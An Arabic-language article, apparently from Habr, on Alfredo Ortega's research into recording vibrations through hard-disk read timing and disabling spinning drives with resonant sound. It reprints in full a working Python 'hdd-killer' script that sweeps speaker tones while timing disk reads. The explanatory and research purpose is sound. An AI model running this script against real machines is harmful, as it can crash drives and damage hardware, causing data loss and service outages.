لماذا لا يمكنك الصراخ على قرصك الصلب

لماذا لا يمكنك الصراخ على قرصك الصلب

في مؤتمر أمن الكمبيوتر Ekoparty 2017 في بوينس آيرس، أظهر المتسلل الأرجنتيني ألفريدو أورتيجا تطورًا مثيرًا للاهتمام للغاية - نظام للتنصت السري على المباني دون استخدام الميكروفون. صوت سجلت مباشرة على القرص الصلب!

يلتقط محرك الأقراص الثابتة بشكل أساسي الأصوات ذات التردد المنخفض عالية الكثافة وخطوات الأقدام والاهتزازات الأخرى. لا يمكن حتى الآن التعرف على الكلام البشري، على الرغم من العلماء وتجري أبحاثًا في هذا الاتجاه (التعرف على الكلام عن طريق الاهتزازات منخفضة التردد، والتي يتم تسجيلها، على سبيل المثال، من الجيروسكوب أو الأقراص الصلبة).

الصوت هو اهتزاز الهواء أو وسط آخر. ويدركها الإنسان من خلال طبلة الأذن التي تنقل الاهتزازات إلى الأذن الداخلية. تم تصميم الميكروفون تقريبًا مثل الأذن - وهنا أيضًا يتم تسجيل الاهتزازات بواسطة غشاء رقيق يثير نبضًا كهربائيًا. وبطبيعة الحال، يتعرض القرص الصلب أيضًا للاهتزازات المجهرية بسبب تقلبات الهواء المحيط به. وهذا معروف حتى من خلال الخصائص التقنية لمحركات الأقراص الصلبة: تشير الشركات المصنعة عادةً إلى الحد الأقصى لمستوى الاهتزاز المسموح به، وغالبًا ما يحاول القرص الصلب نفسه وضعه في حاوية مقاومة للاهتزاز مصنوعة من المطاط أو أي مادة عازلة أخرى. من هذا فمن السهل أن نستنتج أنه يمكن تسجيل الأصوات باستخدام الأقراص الصلبة. كل ما تبقى هو معرفة كيف.

اقترح ألفريدو أورتيجا نسخة فريدة من هجوم القناة الجانبية، أي الهجوم الزمني. يعتمد هذا الهجوم على افتراض أنه يتم تنفيذ عمليات مختلفة على الجهاز في أوقات مختلفة، اعتمادًا على البيانات المدخلة المقدمة. في هذه الحالة، "بيانات الإدخال" هي اهتزازات رأس القراءة وطبق القرص الصلب، والتي ترتبط باهتزازات البيئة، أي مع الصوت. وبالتالي، من خلال قياس وقت الحساب وإجراء تحليل إحصائي للبيانات، يمكن قياس اهتزازات الرأس/الطبق وبالتالي اهتزازات الوسط. كلما زاد التأخير في قراءة البيانات، زادت قوة اهتزازات محرك الأقراص الثابتة، وبالتالي ارتفع الصوت.

كيفية قياس اهتزاز القرص الصلب؟ بسيط جدًا: فقط قم بإجراء مكالمة النظام read () - وتسجيل الوقت المستغرق لإكماله. تسمح لك أنظمة التشغيل الحديثة بقراءة توقيت مكالمات النظام بدقة نانو ثانية.

تعتمد سرعة قراءة المعلومات من القطاع على موضع الرأس والطبق، والذي يرتبط باهتزازات علبة محرك الأقراص الثابتة. هذا كل شئ.

يتم إجراء التحليل الإحصائي باستخدام أداة Kscope البسيطة. كما يقولون، كل شيء عبقري بسيط.

لماذا لا يمكنك الصراخ على قرصك الصلب
الأداة المساعدة Kscope (stat() syscall)

Kscope عبارة عن أداة مساعدة صغيرة لتصور الاختلافات الصغيرة في أوقات تنفيذ استدعاءات النظام. مصدرتم النشر على جيثب.

في مستودع منفصل وقت الأقراص الصلبة يوجد إصدار من الأداة المساعدة تم تكوينه للهجوم الزمني على القرص الصلب، أي أنه تم تكوينه لتحليل استدعاء النظام read ().

عرض تسجيل الصوت باستخدام HDD، تشغيل الأداة المساعدة Kscope


بالطبع، لا يمكن فهم الكلام بهذه الطريقة، لكن محرك الأقراص الصلبة مناسب تمامًا كمستشعر للاهتزاز. على سبيل المثال، يمكنك التسجيل إذا دخل شخص يرتدي أحذية صلبة أو حافي القدمين إلى غرفة بها جهاز كمبيوتر (ربما، إذا كان المهاجم يرتدي أحذية رياضية ناعمة أو كانت هناك سجادة سميكة على الأرض، فلن يتمكن محرك الأقراص الصلبة من تسجيل الاهتزازات - وهذا يستحق التدقيق). يستطيع الكمبيوتر تسجيل الزجاج المكسور أو الحوادث الأخرى بكثافة صوت قوية. وهذا يعني أن القرص الصلب يمكن أن يكون بمثابة نوع من نظام كشف التسلل غير المصرح به.

قاتل الأقراص الصلبة

بالمناسبة، يمكن استخدام تقنية مماثلة لتعطيل محركات الأقراص الثابتة. هنا فقط لا نقوم بإزالة التذبذبات من محرك الأقراص الثابتة، بل على العكس من ذلك، نقوم بتوليد تذبذبات يتم تغذيتها إلى محرك الأقراص الثابتة. إذا قمت بتشغيل الصوت من مكبر الصوت بتردد يتناغم مع تردد محرك الأقراص الثابتة (HDD)، فسيقوم النظام قريبًا بإيقاف تشغيل الجهاز بسبب خطأ في الإدخال/الإخراج (يقوم نواة Linux بإيقاف تشغيل محرك الأقراص الثابتة (HDD) تمامًا بعد 120 ثانية). قد يتعرض القرص الصلب نفسه لأضرار لا يمكن إصلاحها.

لماذا لا يمكنك الصراخ على قرصك الصلب
قام Linux kernel بإيقاف تشغيل محرك الأقراص الثابتة بعد 120 ثانية من توصيل الصوت بتردد رنين من خلال مكبر صوت Edifier r19u USB. يتم تشغيل مكبر الصوت بحوالي ربع الطاقة (أقل من 100 ميجاوات) ويقع على بعد 20 سم من محرك الأقراص الثابتة، وهو موجه نحو الطاولة لتعزيز الاهتزازات. الإطار من فيديو مع مظاهرة للقاتل HDD

من الغريب أن مثل هذه "الهجمات" على محركات الأقراص الثابتة تحدث أحيانًا عن طريق الصدفة في الحياة اليومية. على سبيل المثال، في سبتمبر 2016، اضطر مركز بيانات بنك ING إلى تعليق العمليات لمدة 10 ساعات بعد تدريب على الحريق. لقد فشلت العشرات من محركات الأقراص الصلبة بسبب الصوت العالي للغاز الخامل المنبعث من الأسطوانات تحت ضغط مرتفع. كان الصوت مرتفعًا جدًا (أكثر من 130 ديسيبل)، لكن لا يمكنك حتى الصراخ على محركات الأقراص الثابتة - فهذا يزيد من التأخير في الوصول إلى محرك الأقراص الثابتة.

مظاهرة لصراخ الإنسان على محركات الأقراص الثابتة في مركز البيانات. قياس الكمون


لتوليد الصوت الرنان، كتب ألفريدو أورتيجا نصًا بلغة بايثون يسمى الأقراص الصلبة القاتل (مظاهرة الفيديو).

البرنامج النصي القاتل HDD إنه صغير جدًا، لذا يمكنك نشره بالكامل هنا.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

المصدر: www.habr.com

إضافة تعليق